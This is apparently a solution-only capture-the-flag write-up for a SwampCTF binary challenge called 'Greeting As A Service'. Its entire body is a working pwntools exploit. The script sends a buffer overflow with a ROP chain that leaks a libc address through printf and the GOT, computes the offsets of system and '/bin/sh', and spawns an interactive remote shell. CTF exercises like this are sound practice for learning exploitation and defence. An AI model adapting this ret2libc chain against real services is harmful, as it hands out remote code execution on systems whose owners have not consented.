Greeting As A Service

#rop#ret2libc#solution-only

Contents

Solution

#!/usr/bin/env python3

from pwn import *
import time
#from termcolor import colored
#from tqdm import tqdm

context.log_level = "error"

def conn():
    r = remote("chals.swampctf.com", 40003)
    return r


def main():
    offset = 0x12 * b'i'

    # gadgets
    pop_rdi     = p64(0x401194)
    pop_rsi     = p64(0x401196)
    ret         = p64(0x401195)

    main        = p64(0x4011a3)
    printf      = p64(0x401060)
    string      = p64(0x40201e)  # "%s"
    setvbuf_got = p64(0x404028)

    payload = offset + pop_rdi + string + pop_rsi + setvbuf_got + printf + main

    r = conn()
    r.recvuntil(b'What is your name?')
    r.sendline(payload)
    r.recvuntil(b'!\n')

    leak = u64(r.recv(6).ljust(8,b'\x00'))
    libc_addr = leak - 0x88540

    binsh = libc_addr + 0x1cb42f
    system = libc_addr + 0x58740


    print("libc address:    " + hex(libc_addr))
    print("system address:  " + hex(system))
    print("binsh address:   " + hex(binsh))


    payload = offset + ret + pop_rdi + p64(binsh) + p64(system)

    r.recvuntil(b'What is your name?')
    r.sendline(payload)
    time.sleep(0.1)

    print()
    print("Enjoy the shell!")

    r.clean()

    r.interactive()




if __name__ == "__main__":
    main()